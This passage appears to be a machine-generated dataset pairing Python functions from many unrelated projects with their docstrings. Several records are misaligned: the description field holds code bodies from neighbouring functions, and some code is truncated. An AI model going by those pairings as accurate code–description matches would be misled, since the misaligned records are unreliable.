overlap prefix[0:...]- if overlap[i] == k with 0 < k <= i, prefix[i-k+1:i+1] overlaps withprefix[0:k]"} {"code": "def enter(self):\n assert self.notify.debugStateCall(self)\n self.show()\n\n taskMgr.remove(self.DisplaySettingsTaskName)\n self.settingsChanged = 0\n\n self.__setMusicButton()\n self.__setSoundFXButton()\n self.__setAcceptFriendsButton()\n self.__setDisplaySettings()\n self.__setToonChatSoundsButton()\n\n self.speedChatStyleText.enter()\n self.speedChatStyleIndex = base.localAvatar.getSpeedChatStyleIndex()\n self.updateSpeedChatStyle()\n\n if self.parent.book.safeMode:\n self.exitButton.hide()\n else:\n self.exitButton.show()\n", "nl": "Purpose: This method gets called when the Options Tab is selected.Also, this is the default tab in this page and gets selected by defaulteverytime the Options and Codes page is selected.Params: NoneReturn: None"} {"code": "def _convert_bin_to_datelike_type(bins, dtype):\n if is_datetime64tz_dtype(dtype):\n bins = to_datetime(bins.astype(np.int64), utc=True).tz_convert(dtype.tz)\n elif is_datetime_or_timedelta_dtype(dtype):\n bins = Index(bins.astype(np.int64), dtype=dtype)\n return bins\n\n", "nl": "Convert bins to a DatetimeIndex or TimedeltaIndex if the original dtype isdatelikeParameters----------bins : list-like of binsdtype : dtype of dataReturns-------bins : Array-like of bins, DatetimeIndex or TimedeltaIndex if dtype isdatelike"} {"code": "def test_removing_file_after_git_add(tmpdir):\n with mock.patch.object(subprocess, 'check_output', side_effect=OSError):\n with tmpdir.as_cwd():\n _make_git()\n with pytest.raises(OSError) as excinfo:\n main(())\n msg, = excinfo.value.args\n assert msg == 'Cannot find git. Make sure it is in your PATH'\n\n", "nl": "regression test for issue #37with tmpdir.as_cwd():tmpdir.join('.isort.cfg').write('[settings]\\nknown_third_party=\\n')tmpdir.join('f.py').write('import pre_commit\\n')tmpdir.join('g.py').write('import cfgv\\n')_make_git()tmpdir.join('g.py').remove()assert main(()) == 1expected = '[settings]\\nknown_third_party=pre_commit\\n'assert tmpdir.join('.isort.cfg').read() == expecteddef test_missing_git_from_path(tmpdir):expect user-friendly error message for a missing git"} {"code": "def serialize_to_list_of_dicts(values):\n return [dict(value) for value in values]\n\n", "nl": "Custom attrs converter. Converts a list of elements into a list of immutables.Mapobjects."} {"code": "def display(self):\n G = nx.MultiDiGraph()\n fs = self.get_full_story()\n names = {}\n rels = {}\n forward_edges = []\n backward_edges = []\n gendered_nodes = {'male':[], 'female':[]}\n for edge in fs:\n G.add_node(edge[0])\n G.add_node(edge[1])\n gendered_nodes[self.anc.family_data[edge[0]].gender].append(edge[0])\n gendered_nodes[self.anc.family_data[edge[1]].gender].append(edge[1])\n names[edge[0]] = self.anc.family_data[edge[0]].name\n names[edge[1]] = self.anc.family_data[edge[1]].name\n G.add_edge(edge[0], edge[1])\n forward_edges.append(edge)\n rels[edge] = self.get_edge_relation(edge)\n G.add_edge(edge[1], edge[0])\n backward_edges.append(edge)\n rels[(edge[1], edge[0])] = self.get_edge_relation((edge[1], edge[0]))\n pos = nx.layout.random_layout(G)\n nx.draw_networkx_nodes(G, pos, nodelist=gendered_nodes['male'], node_color='b', node_size=100, alpha=0.8)\n nx.draw_networkx_nodes(G, pos, nodelist=gendered_nodes['female'], node_color='r', node_size=100, alpha=0.8)\n nx.draw_networkx_labels(G, pos, names)\n nx.draw_networkx_edges(G, pos, edgelist=forward_edges, arrowstyle='-', edge_color='r')\n nx.draw_networkx_edges(G, pos, edgelist=backward_edges, arrowstyle='-', edge_color='b')\n edge_labels = nx.draw_networkx_edge_labels(G, pos, rels)\n ax = plt.gca()\n ax.set_axis_off()\n plt.show()\n", "nl": "Display the puzzle in a network diagram:return:"} {"code": "def shape_hdf5(hdf5_name, hdf5_path):\n if check_hdf5(hdf5_name, hdf5_path):\n with h5py.File(hdf5_name, \"r\") as f:\n hdf5_shape = f[hdf5_path].shape\n return hdf5_shape\n else:\n print(\"There is no such a file or dataset\")\n sys.exit(-1)\n\n", "nl": "FUNCTION TO GET HDF5 DATASET SHAPEArgs:hdf5_name (str): filename of hdf5 filehdf5_path (str): dataset name in hdf5 fileReturn:(tuple): shape of dataset"} {"code": "def __init__(self, sketchpad):\n\n\t\tsuper(sketchpad_widget, self).__init__(sketchpad.main_window,\n\t\t\tui=u'widgets.sketchpad')\n\t\tself.sketchpad = sketchpad\n\t\tself.initialized = False\n\t\tself.margin = 50\n\t\tself.canvas = self.sketchpad.canvas\n\t\tself.arrow_cursor = QtGui.QCursor(\n\t\t\tself.theme.qpixmap(u'os-pointer', size=32), 8, 4)\n\t\tself.ui.graphics_view.setScene(self.canvas)\n\t\tself.ui.graphics_view.setMouseTracking(True)\n\t\tself.ui.button_pointer.clicked.connect(self.select_pointer_tool)\n\t\tself.ui.spinbox_zoom.valueChanged.connect(self.zoom)\n\t\tself.ui.spinbox_scale.valueChanged.connect(self.apply_scale)\n\t\tself.ui.spinbox_rotation.valueChanged.connect(self.apply_rotation)\n\t\tself.ui.spinbox_penwidth.valueChanged.connect(self.apply_penwidth)\n\t\tself.ui.edit_color.textEdited.connect(self.apply_color)\n\t\tself.ui.edit_show_if.editingFinished.connect(self.apply_show_if)\n\t\tself.ui.edit_show_if.setValidator(cond_validator(self,", "nl": "desc:Constructor.arguments:sketchpad:desc:\tA sketchpad object.type:\tsketchpad"} {"code": "def sendMessageWithoutRelationship(self, message):\n self.send_sendMessageWithoutRelationship(message)\n return self.recv_sendMessageWithoutRelationship()\n", "nl": "Parameters:- message"} {"code": "def __set_signal_handler(self):\n for key, value in list(vars(signal).items()):\n if not key.startswith('SIG') or key in ['SIG_IGN', 'SIG_DFL',\n 'SIGRTMIN', 'SIGRTMAX', 'SIG_BLOCK', 'SIG_UNBLOCK', 'SIG_SETMASK' ]:\n continue\n\n handler = signal.getsignal(value)\n if handler in [signal.SIG_IGN, signal.SIG_DFL]:\n continue\n\n try:\n signal.signal(value, handler)\n except:\n print_debug('Failed to set signal handler for signal %s(%d)' % (key, value))\n\n", "nl": "Set rpdb2 to wrap all signal handlers."} {"code": "def block(self):\n if self.mb.debug: log(inspect.stack)\n\n self.blocked = False\n\n for key in self.states:\n if self.states[key] == True:\n fkt = getattr(self, 'add_' + key)\n fkt()\n", "nl": " blockiert alle Listenerif self.mb.debug: log(inspect.stack)for key in self.states:if self.states[key] == True:fkt = getattr(self, 'remove_' + key)fkt()self.blocked = Truedef unblock(self): schaltet Blockade ab und die zuvor aktivierten Listener wieder an"} {"code": "def test_cancel_tmp_fact(self, basestore, tmp_fact, fact):\n with pytest.raises(KeyError):\n basestore.facts.cancel_tmp_fact()\n", "nl": "Make sure we return the 'ongoing_fact'.result = basestore.facts.cancel_tmp_fact()assert result is Noneassert os.path.exists(basestore.facts._get_tmp_fact_path()) is Falsedef test_cancel_tmp_fact_without_ongoing_fact(self, basestore):Make sure that we raise a KeyError if ther is no 'ongoing fact'."} {"code": "def __init__(self, service, event_queue=None):\n super().__init__(service, event_queue)\n self._auto_renew_thread = None\n self._auto_renew_thread_flag = threading.Event()\n self.subscriptions_map = subscriptions_map\n self.event_listener = event_listener\n self._lock = threading.Lock()\n", "nl": "Args:service (Service): The SoCo `Service` to which the subscriptionshould be made.event_queue (:class:`~queue.Queue`): A queue on which receivedevents will be put. If not specified, a queue will becreated and used."} {"code": "def __mod_distance(self, value, byxxx, base):\n accumulator = 0\n for ii in range(1, base + 1):\n div, value = divmod(value + self._interval, base)\n accumulator += div\n if value in byxxx:\n return (accumulator, value)\n\n\nclass _iterinfo(object):\n __slots__ = [\"rrule\", \"lastyear\", \"lastmonth\",\n \"yearlen\", \"nextyearlen\", \"yearordinal\", \"yearweekday\",\n \"mmask\", \"mrange\", \"mdaymask\", \"nmdaymask\",\n \"wdaymask\", \"wnomask\", \"nwdaymask\", \"eastermask\"]\n", "nl": "Calculates the next value in a sequence where the `FREQ` parameter isspecified along with a `BYXXX` parameter at the same \"level\"(e.g. `HOURLY` specified with `BYHOUR`).:param value:The old value of the component.:param byxxx:The `BYXXX` set, which should have been generated by`rrule._construct_byset`, or something else which checks that avalid rule is present.:param base:The largest allowable value for the specified frequency (e.g.24 hours, 60 minutes).If a valid value is not found after `base` iterations (the maximumnumber before the sequence would start to repeat), this raises a:exception:`ValueError`, as no valid values were found.This returns a tuple of `divmod(n*interval, base)`, where `n` is thesmallest number of `interval` repetitions until the next specifiedvalue in `byxxx` is found."} {"code": "def load_mono_data(params, data, bilingual_dict):\n data['mono'] = {}\n data['mono_stream'] = {}\n\n for lang in params.mono_dataset.keys():\n\n logger.info('============ Monolingual data (%s)' % lang)\n\n assert lang in params.langs and lang not in data['mono']\n data['mono'][lang] = {}\n data['mono_stream'][lang] = {}\n\n for splt in ['train', 'valid']:\n\n if splt == 'train' and params.eval_only:\n continue\n\n mono_data = load_binarized(params.mono_dataset[lang][splt], params)\n\n data['mono_stream'][lang][splt] = StreamDataset(mono_data['sentences'], mono_data['positions'], params)\n\n if splt == 'train' and params.split_data and 1 < params.n_gpu_per_node <= data['mono_stream'][lang][splt].n_batches:\n n_batches = data['mono_stream'][lang][splt].n_batches // params.n_gpu_per_node\n a = n_batches * params.local_rank\n b = n_batches * params.local_rank + n_batches\n data['mono_stream'][lang][splt].select_data(a, b)\n\n\n del mono_data\n gc.collect()\n logger.info(\"\")\n\n logger.info(\"\")\n", "nl": "Load monolingual data."} {"code": "def get_elements_tag(self,elements):\n if elements is not None:\n attribs = []\n for a in elements:\n attribs.append(a.attrib)\n return attribs\n else:\n print('the elements is None!')\n", "nl": "return the list of tags of element's tagif elements is not None:tags = []for e in elements:tags.append(e.tag)return tagselse:print('the elements is None!')def get_elements_attrib(self,elements):return the list of attribs of element's attrib"} {"code": "def __init__(self, bin_ctx):\n self.bin_lower_ctx = bin_ctx\n self.bin_upper_ctx = bin_ctx\n", "nl": "Create a match sequence that contains a single (matched) binary function.Args:bin_ctx (FunctionContext): the first context in our match sequence"} {"code": "def get_loc(self, key, method=None, tolerance=None):\n if is_list_like(key) or (isinstance(key, datetime) and key is not NaT):\n raise TypeError\n\n if isna(key):\n key = NaT\n\n if tolerance is not None:\n tolerance = self._convert_tolerance(tolerance, np.asarray(key))\n\n if _is_convertible_to_td(key) or key is NaT:\n key = Timedelta(key)\n return Index.get_loc(self, key, method, tolerance)\n\n try:\n return Index.get_loc(self, key, method, tolerance)\n except (KeyError, ValueError, TypeError):\n try:\n return self._get_string_slice(key)\n except (TypeError, KeyError, ValueError):\n pass\n\n try:\n stamp = Timedelta(key)\n return Index.get_loc(self, stamp, method, tolerance)\n except (KeyError, ValueError):\n raise KeyError(key)\n", "nl": "Get integer location for requested labelReturns-------loc : int"} {"code": "def stopValentinesDay(self):", "nl": "Do some show when the holiday ends.Change all the Hearts to Cones when the Valentines Day ends."} {"code": "def _get_device_size(self):\n if self.raw_device and self.size != self.raw_device.size:\n log.info(\"adjusting device size from %s to %s\",\n self.raw_device.size, self.size)\n\n base_size = self._get_base_size()\n size = self._get_device_size()\n self.raw_device.req_base_size = base_size\n self.raw_device.req_size = base_size\n self.raw_device.req_max_size = size\n self.raw_device.req_grow = size > base_size\n", "nl": " Return the factory device size including container limitations. return max(self._get_base_size(), self.size)def _set_device_size(self): Set the size of a defined factory device. "} {"code": "def publish_json(self, channel: str, data: Dict) -> None:\n", "nl": "Publish json serializable dict to redis queue.queue = Queue(ConstSettings.GeneralSettings.SDK_COM_QUEUE_NAME, connection=self.redis_db)queue.enqueue(channel, json.dumps(data))class ExternalConnectionCommunicator(ResettableCommunicator):Communicator for sending messages using redis pubsub including utils for aggregator."} {"code": "def parse(self, player: Living, cmd: str, external_verbs: Set[str]=set()) -> ParseResult:\n Try to connect the pronoun (it, him, her, them) to a previously parsed item/living.\n Returns a list of (who, replacement-name) tuples.\n The reason we return a replacement-name is that the parser can replace the\n pronoun by the proper name that would otherwise have been used in that place.\n \"\"\"", "nl": "Parse a command string, returns a ParseResult object.qualifier = \"\"message_verb = False # does the verb expect a message?external_verb = False # is it a non-soul verb?adverb = \"\"message = [] # type: List[str]bodypart = \"\"arg_words = [] # type: List[str]unrecognized_words = [] # type: List[str]who_info = ParseResult.WhoInfoOrderedDict()who_list = [] # type: List[ParsedWhoType]who_sequence = 0unparsed = cmd# a substring enclosed in quotes will be extracted as the messagem = self._quoted_message_regex.search(cmd)if m:message = [(m.group(\"msg1\") or m.group(\"msg2\")).strip()]cmd = cmd[:m.start()] + cmd[m.end():]if not cmd:raise ParseError(\"What?\")words = cmd.split()if words[0] in verbdefs.ACTION_QUALIFIERS: # suddenly, fail, ...qualifier = words.pop(0)unparsed = unparsed[len(qualifier):].lstrip()if qualifier == \"dont\":qualifier = \"don't\" # little spelling suggestion# note: don't add qualifier to arg_wordsif words and words[0] in self._skip_words:skipword = words.pop(0)unparsed = unparsed[len(skipword):].lstrip()if not words:raise ParseError(\"What?\")verb = Noneif words[0] in external_verbs: # external verbs have priority above soul verbsverb = words.pop(0)external_verb = True# note: don't add verb to arg_wordselif words[0] in verbdefs.VERBS:verb = words.pop(0)verbdata = verbdefs.VERBS[verb][2]message_verb = \"\\nMSG\" in verbdata or \"\\nWHAT\" in verbdata# note: don't add verb to arg_wordselif player.location.exits:# check if the words are the name of a room exit.move_action = Noneif words[0] in verbdefs.MOVEMENT_VERBS:move_action = words.pop(0)if not words:raise ParseError(\"%s where?\" % lang.capital(move_action))exit, exit_name, wordcount = self.check_name_with_spaces(words, 0, {}, {}, player.location.exits)if exit:if wordcount != len(words):raise ParseError(\"What do you want to do with that?\")unparsed = unparsed[len(exit_name or \"\"):].lstrip()who_info = ParseResult.WhoInfoOrderedDict()raise NonSoulVerb(ParseResult(verb=exit_name or \"\", who_list=[exit], qualifier=qualifier, unparsed=unparsed))elif move_action:raise ParseError(\"You can't %s there.\" % move_action)else:# can't determine verb at this point, just continue with verb=Nonepasselse:# can't determine verb at this point, just continue with verb=Nonepassif verb:unparsed = unparsed[len(verb):].lstrip()include_flag = Truecollect_message = Falseall_livings = {} # livings in the room (including player) by name + aliasesall_items = {} # all items in the room or player's inventory, by name + aliasesfor living in player.location.livings:all_livings[living.name] = livingfor alias in living.aliases:all_livings[alias] = livingfor item in player.location.items:all_items[item.name] = itemfor alias in item.aliases:all_items[alias] = itemfor item in player.inventory:all_items[item.name] = itemfor alias in item.aliases:all_items[alias] = itemprevious_word = Nonewords_enumerator = enumerate(words)for index, word in words_enumerator:if collect_message:message.append(word)arg_words.append(word)previous_word = wordcontinueif not message_verb and not collect_message:word = word.rstrip(\",\")if word in (\"them\", \"him\", \"her\", \"it\"):if self.__previously_parsed:# try to connect the pronoun to a previously parsed item/livingprev_who_list = self.match_previously_parsed(player, word)if prev_who_list:for who, name in prev_who_list:if include_flag:who_info[who].sequence = who_sequencewho_info[who].previous_word = previous_wordwho_sequence += 1who_list.append(who)else:del who_info[who]who_list.remove(who)arg_words.append(name) # put the replacement-name in the args instead of the pronounprevious_word = Nonecontinueraise ParseError(\"It is not clear who you mean.\")if word in (\"me\", \"myself\", \"self\"):if include_flag:who_info[player].sequence = who_sequencewho_info[player].previous_word = previous_wordwho_sequence += 1who_list.append(player)elif player in who_info:del who_info[player]who_list.remove(player)arg_words.append(word)previous_word = Nonecontinueif word in verbdefs.BODY_PARTS:if bodypart:raise ParseError(\"You can't do that both %s and %s.\" % (verbdefs.BODY_PARTS[bodypart], verbdefs.BODY_PARTS[word]))if (word not in all_items and word not in all_livings) or previous_word == \"my\":bodypart = wordarg_words.append(word)continueif word in (\"everyone\", \"everybody\", \"all\"):if include_flag:if not all_livings:raise ParseError(\"There is nobody here.\")# include every *living* thing visible, don't include items, and skip the player itselffor living in player.location.livings:if living is not player:who_info[living].sequence = who_sequencewho_info[living].previous_word = previous_wordwho_sequence += 1who_list.append(living)else:who_info.clear()who_list.clear()who_sequence = 0arg_words.append(word)previous_word = Nonecontinueif word == \"everything\":raise ParseError(\"You can't do something to everything around you, be more specific.\")if word in (\"except\", \"but\"):include_flag = not include_flagarg_words.append(word)continueif word in lang.ADVERBS:if adverb:raise ParseError(\"You can't do that both %s and %s.\" % (adverb, word))adverb = wordarg_words.append(word)continueif word in all_livings:living = all_livings[word]if include_flag:who_info[living].sequence = who_sequencewho_info[living].previous_word = previous_wordwho_sequence += 1who_list.append(living)elif living in who_info:del who_info[living]who_list.remove(living)arg_words.append(word)previous_word = Nonecontinueif word in all_items:item = all_items[word]if include_flag:who_info[item].sequence = who_sequencewho_info[item].previous_word = previous_wordwho_sequence += 1who_list.append(item)elif item in who_info:del who_info[item]who_list.remove(item)arg_words.append(word)previous_word = Nonecontinueif player.location:exit, exit_name, wordcount = self.check_name_with_spaces(words, index, {}, {}, player.location.exits)if exit:who_info[exit].sequence = who_sequencewho_info[exit].previous_word = previous_wordprevious_word = Nonewho_sequence += 1who_list.append(exit)if exit_name:arg_words.append(exit_name)while wordcount > 1:next(words_enumerator)wordcount -= 1continueitem_or_living, full_name, wordcount = self.check_name_with_spaces(words, index, all_livings, all_items, {})if item_or_living:while wordcount > 1:next(words_enumerator)wordcount -= 1if include_flag:who_info[item_or_living].sequence = who_sequencewho_info[item_or_living].previous_word = previous_wordwho_sequence += 1who_list.append(item_or_living)elif item_or_living in who_info:del who_info[item_or_living]who_list.remove(item_or_living)if full_name:arg_words.append(full_name)previous_word = Nonecontinueif message_verb and not message:collect_message = Truemessage.append(word)arg_words.append(word)continueif word not in self._skip_words:# unrecognized word, check if it could be a person's name or an item. (prefix)if not who_list:for name in all_livings:if name.startswith(word):raise ParseError(\"Perhaps you meant %s?\" % name)for name in all_items:if name.startswith(word):raise ParseError(\"Perhaps you meant %s?\" % name)if not external_verb:if not verb:raise UnknownVerbException(word, words, qualifier)# check if it is a prefix of an adverb, if so, suggest a few adverbsadverbs = lang.adverb_by_prefix(word)if len(adverbs) == 1:word = adverbs[0]if adverb:raise ParseError(\"You can't do that both %s and %s.\" % (adverb, word))adverb = wordarg_words.append(word)previous_word = wordcontinueelif len(adverbs) > 1:raise ParseError(\"What adverb did you mean: %s?\" % lang.join(adverbs, conj=\"or\"))if external_verb:arg_words.append(word)unrecognized_words.append(word)else:if word in verbdefs.VERBS or word in verbdefs.ACTION_QUALIFIERS or word in verbdefs.BODY_PARTS:# in case of a misplaced verb, qualifier or bodypart give a little more specific errorraise ParseError(\"The word %s makes no sense at that location.\" % word)else:# no idea what the user typed, generic errorerrormsg = \"It's not clear what you mean by '%s'.\" % wordif word[0].isupper():errormsg += \" Just type in lowercase ('%s').\" % word.lower()raise ParseError(errormsg)previous_word = wordmessage_text = \" \".join(message)if not verb:# This is interesting: there's no verb.# but maybe the thing the user typed refers to an object or creature.# In that case, set the verb to that object's default verb.if len(who_list) == 1:verb = getattr(who_list[0], \"default_verb\", \"examine\")else:raise UnknownVerbException(words[0], words, qualifier)return ParseResult(verb or \"\", who_info=who_info, who_list=who_list,adverb=adverb, message=message_text, bodypart=bodypart, qualifier=qualifier,args=arg_words, unrecognized=unrecognized_words, unparsed=unparsed)def remember_previous_parse(self, parsed: ParseResult) -> None:self.__previously_parsed = parseddef match_previously_parsed(self, player: Living, pronoun: str) -> List[Tuple[Any, str]]:"} {"code": "def write_inline_def(self, node, identifiers, nested):\n inline.\n\n this takes into account if the rendering function was filtered,\n buffered, etc. and closes the corresponding try: block if any, and\n writes code to retrieve captured content, apply filters, send proper\n return value.\"\"\"", "nl": "write a locally-available def callable inside an enclosing def.namedecls = node.get_argument_expressions()decorator = node.decoratorif decorator:self.printer.writeline(\"@runtime._decorate_inline(context, %s)\" % decorator)self.printer.writeline(\"def %s(%s):\" % (node.funcname, \",\".join(namedecls)))filtered = len(node.filter_args.args) > 0buffered = eval(node.attributes.get(\"buffered\", \"False\"))cached = eval(node.attributes.get(\"cached\", \"False\"))self.printer.writelines(# push new frame, assign current frame to __M_caller\"__M_caller = context.caller_stack._push_frame()\",\"try:\",)if buffered or filtered or cached:self.printer.writelines(\"context._push_buffer()\")identifiers = identifiers.branch(node, nested=nested)self.write_variable_declares(identifiers)self.identifier_stack.append(identifiers)for n in node.nodes:n.accept_visitor(self)self.identifier_stack.pop()self.write_def_finish(node, buffered, filtered, cached)self.printer.writeline(None)if cached:self.write_cache_decorator(node,node.funcname,namedecls,False,identifiers,inline=True,toplevel=False,)def write_def_finish(self, node, buffered, filtered, cached, callstack=True):write the end section of a rendering function, either outermost or"} {"code": "def embed(self, query_batch):\n with profile.Timer('embed_featurize'):\n feature_dicts = [self._featurizer.featurize_query(q) for q in query_batch]\n\n model_inputs = featurization.batch_feature_dicts(feature_dicts)\n\n with profile.Timer('embed_tf'):", "nl": "Embeds a batch of queries.Args:query_batch: a list of Query instances.Returns:embeds: a [batch_size, embed_dim] float Tensor."} {"code": "def rvalue(self):\n\n return self._rvalue\n\n\n @property", "nl": "The structure's R-value.:rtype: ``float``"} {"code": "def na_value():\n\n Expected to be like [B, B, NA, NA, A, A, B, C]\n\n Where A < B < C and NA is missing\n \"\"\"", "nl": "The scalar missing value for this type. Default 'None'return None@pytest.fixturedef data_for_grouping():Data for factorization, grouping, and unique tests."} {"code": "def test_init_by_name_matrix_style(self):\n\n var = PLCVariable(\n \"ArrayVar\",\n struct.pack(\"<21b\", *range(21)),\n ads_type=constants.ADST_VOID,\n symbol_type=\"matrix_21_int8_T\",\n index_group = 123,\n index_offset = 100,\n )\n self.handler.add_variable(var)\n self.plc.open()\n symbol = AdsSymbol(\n self.plc,\n name=var.name,\n index_group=var.index_group,\n index_offset=var.index_offset,\n symbol_type=var.symbol_type,\n )\n\n self.assertEqual(constants.PLCTYPE_ARR_SINT(21), symbol.plc_type)\n self.assertEqual(var.symbol_type, symbol.symbol_type)\n\n self.assertAdsRequestsCount(0)\n", "nl": "Test symbol creation when it's an array denoted as matrixThis is how an array originating from Simulink could look like."} {"code": "def save_coefficients(mtx, dist, path):\n cv_file = cv2.FileStorage(path, cv2.FILE_STORAGE_WRITE)\n cv_file.write(\"K1\", K1)\n cv_file.write(\"D1\", D1)\n cv_file.write(\"K2\", K2)\n cv_file.write(\"D2\", D2)\n cv_file.write(\"R\", R)\n cv_file.write(\"T\", T)\n cv_file.write(\"E\", E)\n cv_file.write(\"F\", F)\n cv_file.write(\"R1\", R1)\n cv_file.write(\"R2\", R2)\n cv_file.write(\"P1\", P1)\n cv_file.write(\"P2\", P2)\n cv_file.write(\"Q\", Q)\n cv_file.release()\n\n", "nl": " Save the camera matrix and the distortion coefficients to given path/file. cv_file = cv2.FileStorage(path, cv2.FILE_STORAGE_WRITE)cv_file.write(\"K\", mtx)cv_file.write(\"D\", dist)# note you *release* you don't close() a FileStorage objectcv_file.release()def save_stereo_coefficients(path, K1, D1, K2, D2, R, T, E, F, R1, R2, P1, P2, Q): Save the stereo coefficients to given path/file. "} {"code": "def get_event_access_codes(self, id, **data):\n\n return self.get(\"/events/{0}/access_codes/\".format(id), data=data)\n", "nl": "GET /events/:id/access_codes/Returns a paginated response with a key of ``access_codes``,containing a list of :format:`access_codes ` availableon this event."} {"code": "def set_identities(self, identities, lang=None):\n self.del_identities(lang)\n for identity in identities:\n category, itype, lang, name = identity\n self.add_identity(category, itype, name, lang)\n", "nl": "Add or replace all identities. The identities must be a in setwhere each identity is a tuple of the form:(category, type, lang, name)If a language is specifified, any identities using that languagewill be removed to be replaced with the given identities.NOTE: An identity's language will not be changed regardless ofthe value of lang.Arguments:identities -- A set of identities in tuple form.lang -- Optional, standard xml:lang value."} {"code": "def test_illegal_names_in_iem_format(self):\n iem = SampleSheet(fp=io.StringIO(\n self.hiseq_sample_sheet_content))\n iem.data[0]['Sample_ID'] = 'PJB1 1579'\n iem.data[0]['Sample_Name'] = 'PJB1 1579'\n iem.data[1]['Sample_Project'] = \"PeterBriggs?\"\n self.assertEqual(len(iem.illegal_names),2)\n iem.fix_illegal_names()\n self.assertEqual(iem.illegal_names,[])\n self.assertEqual(iem.data[0]['Sample_ID'],'PJB1_1579')\n self.assertEqual(iem.data[0]['Sample_Name'],'PJB1_1579')\n self.assertEqual(iem.data[1]['Sample_Project'],\"PeterBriggs\")", "nl": "SampleSheet: check for illegal characters in IEM sample sheet"} {"code": "def columnCount(self, _parent=None):\n \"\"\"", "nl": " Returns the number of columns in the tree return len(self._attr_cols)def data(self, index, role): Returns the tree item at the given index and role"} {"code": "def to_dict(self):\n return pprint.pformat(self.to_dict())\n", "nl": "Returns the model properties as a dictresult = {}for attr, _ in six.iteritems(self.openapi_types):value = getattr(self, attr)if isinstance(value, list):result[attr] = list(map(lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,value))elif hasattr(value, \"to_dict\"):result[attr] = value.to_dict()elif isinstance(value, dict):result[attr] = dict(map(lambda item: (item[0], item[1].to_dict())if hasattr(item[1], \"to_dict\") else item,value.items()))else:result[attr] = valuereturn resultdef to_str(self):Returns the string representation of the model"} {"code": "def _preprocess_data(file_path):\n logging.info(\"Loading data set {}\".format(file_path))\n with tf.io.gfile.GFile(file_path, \"r\") as f:\n lines = f.read().splitlines()\n lines = lines[1:]\n lines = [line.split(\"\\t\", 2) for line in lines]\n lines.sort(key=lambda item: int(item[1]))\n\n return [tuple(line) for line in lines]\n\n\nclass DeepSpeechDataset(object):\n \"\"\"Dataset class for training/evaluation of DeepSpeech model.\"\"\"", "nl": "Generate a list of tuples (wav_filename, wav_filesize, transcript).Each dataset file contains three columns: \"wav_filename\", \"wav_filesize\",and \"transcript\". This function parses the csv file and stores each exampleby the increasing order of audio length (indicated by wav_filesize).AS the waveforms are ordered in increasing length, audio samples in amini-batch have similar length.Args:file_path: a string specifying the csv file path for a dataset.Returns:A list of tuples (wav_filename, wav_filesize, transcript) sorted byfile_size."} {"code": "def f(x, *params):\n a, b, c, left_or_right = params\n if left_or_right == 'left':\n funct = a*x**2 + b*x + c - line_left_eq(x)\n else:\n funct = a*x**2 + b*x + c - line_right_eq(x)\n return funct\n\n", "nl": "Constructs objective function which will be solved iteratively"} {"code": "def map_async(self, func, iterable, chunksize=None, callback=None):\n assert self._state == RUN\n if not hasattr(iterable, '__len__'):\n iterable = list(iterable)\n\n if chunksize is None:\n chunksize, extra = divmod(len(iterable), len(self._pool) * 4)\n if extra:\n chunksize += 1\n if len(iterable) == 0:\n chunksize = 0\n\n task_batches = Pool._get_tasks(func, iterable, chunksize)\n result = MapResult(self._cache, chunksize, len(iterable), callback)\n self._taskqueue.put((((result._job, i, mapstar, (x,), {})\n for i, x in enumerate(task_batches)), None))\n return result\n\n @staticmethod", "nl": "Asynchronous equivalent of `map()` builtin"} {"code": "def _test_compute_node_bootstrap_timeout(compute_node, compute_node_bootstrap_timeout):\n result = command_executor.run_remote_command(\"stat -c '%a %U %G' /var/log/parallelcluster/clusterstatusmgtd\").stdout\n assert_that(result).is_equal_to(\"640 root root\")\n result = command_executor.run_remote_command(\n \"stat -c '%a %U %G' /var/log/parallelcluster/scheduler-plugin.err.log\"\n ).stdout\n assert_that(result).is_equal_to(\"640 pcluster-scheduler-plugin pcluster-scheduler-plugin\")\n result = command_executor.run_remote_command(\n \"stat -c '%a %U %G' /var/log/parallelcluster/scheduler-plugin.out.log\"\n ).stdout\n assert_that(result).is_equal_to(\"640 pcluster-scheduler-plugin pcluster-scheduler-plugin\")", "nl": "Test compute node bootstrap timeout in userdata is the same as set in DevSettings.user_data = boto3.client(\"ec2\").describe_instance_attribute(Attribute=\"userData\", InstanceId=compute_node.get(\"instanceId\"))[\"UserData\"][\"Value\"]assert_that(str(base64.b64decode(user_data))).contains(f\"timeout {compute_node_bootstrap_timeout} /tmp/bootstrap.sh\")def _test_log_file_permission(command_executor):Test log files permission for scheduler plugin."} {"code": "def _generate_sort_by(self, sort_op: saldag.SortBy):\n\n store_code = self._generate_store(index_op)\n\n template = open(\n \"{0}/{1}.tmpl\".format(self.template_directory, 'index', 'r')).read()\n\n data = {\n 'INREL': index_op.get_in_rel().name,\n 'OUTREL': index_op.out_rel.name,\n 'IDX_COL': index_op.idx_col_name,\n 'CACHE_VAR': cache_var(index_op)\n }\n\n return pystache.render(template, data) + store_code\n", "nl": " Generate code for SortBy operations. store_code = self._generate_store(sort_op)sort_col = sort_op.sort_by_col.nametemplate = open(\"{0}/{1}.tmpl\".format(self.template_directory, 'sort_by'), 'r').read()data = {'INREL': sort_op.get_in_rel().name,'OUTREL': sort_op.out_rel.name,'SORT_COL': sort_col,'CACHE_VAR': cache_var(sort_op)}return pystache.render(template, data) + store_codedef _generate_index(self, index_op: saldag.Index): Generate code for Index operations. "} {"code": "def delete_offer(self, payload: Dict) -> None:\n try:\n market = self._get_market_from_command_argument(arguments)\n to_delete_offer_id = arguments.get(\"offer\")\n deleted_offers = self.offers.remove_offer_from_cache_and_market(\n market, to_delete_offer_id)\n response = {\"command\": \"offer_delete\", \"status\": \"ready\",\n \"deleted_offers\": deleted_offers,\n \"transaction_id\": arguments.get(\"transaction_id\")}\n except GSyException:\n error_message = (f\"Error when handling offer delete on area {self.device.name}: \"\n f\"Offer Arguments: {arguments}\")\n logging.exception(error_message)\n response = {\"command\": \"offer_delete\", \"status\": \"error\",\n \"error_message\": error_message,\n \"transaction_id\": arguments.get(\"transaction_id\")}\n self.redis.publish_json(response_channel, response)\n", "nl": "Callback for delete offer Redis endpoint.transaction_id = self._get_transaction_id(payload)delete_offer_response_channel = f\"{self.channel_prefix}/response/delete_offer\"if not ExternalStrategyConnectionManager.check_for_connected_and_reply(self.redis, delete_offer_response_channel, self.connected):returntry:arguments = json.loads(payload[\"data\"])market = self._get_market_from_command_argument(arguments)if arguments.get(\"offer\") and not self.offers.is_offer_posted(market.id, arguments[\"offer\"]):raise GSyException(\"Offer_id is not associated with any posted offer.\")except (GSyException, json.JSONDecodeError):logging.exception(\"Error when handling delete offer request. Payload %s\", payload)self.redis.publish_json(delete_offer_response_channel,{\"command\": 